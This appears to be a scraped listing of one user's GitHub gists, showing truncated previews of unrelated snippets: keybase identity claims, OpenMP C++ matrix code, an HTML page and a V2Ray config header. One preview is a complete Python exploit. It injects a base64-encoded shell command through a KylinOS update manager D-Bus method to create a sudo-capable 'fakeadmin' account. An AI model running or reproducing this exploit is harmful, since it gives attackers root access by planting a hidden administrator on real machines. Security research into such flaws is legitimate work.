I hereby claim:
- I am glzjin on github.
- I am glzjin (https://keybase.io/glzjin) on keybase.
- I have a public key ASCnRvgA_gnoSKwFqmIuDLxsh1P3CTGdDraJmd1eZ3Y1fgo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
#include <iostream> | |
#include "omp.h" | |
#include <sys/time.h> | |
#include <chrono> | |
using namespace std; | |
double random(double start, double end) | |
{ | |
return start + (end - start) * rand() / (RAND_MAX + 1.0); |
#include <iostream> | |
#include "omp.h" | |
#include <sys/time.h> | |
#include <chrono> | |
#include <cmath> | |
using namespace std; | |
void DataInit (double* pMatrix, double* pVector, int Size) { // Init components of vector and matrix | |
int i; |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Mouse Follow</title> | |
<style> | |
#p { | |
text-align: center; | |
-webkit-appearance: none; | |
-moz-appearance: none; |
#include <iostream> | |
#include "omp.h" | |
#include <sys/time.h> | |
#include <chrono> | |
#include <cmath> | |
using namespace std; | |
class EquationsLinearSystem | |
{ |
#include <iostream> | |
#include "omp.h" | |
#include <sys/time.h> | |
#include <chrono> | |
#include <cmath> | |
using namespace std; | |
int mask[3]; |
These rules are adopted from the AngularJS commit conventions.
import dbus | |
import base64 | |
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd" | |
command_base64 = base64.b64encode(command.encode()).decode() | |
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`' | |
bus = dbus.SystemBus() | |
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager") | |
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager") |
// Config file of V2Ray. This file follows standard JSON format, with comments support. | |
// Uncomment entries below to satisfy your needs. Also read our manual for more detail at | |
// https://www.v2fly.org/ | |
{ | |
"log": { | |
// By default, V2Ray writes access log to stdout. | |
// "access": "/path/to/access/log/file", | |
// By default, V2Ray write error log to stdout. | |
// "error": "/path/to/error/log/file", |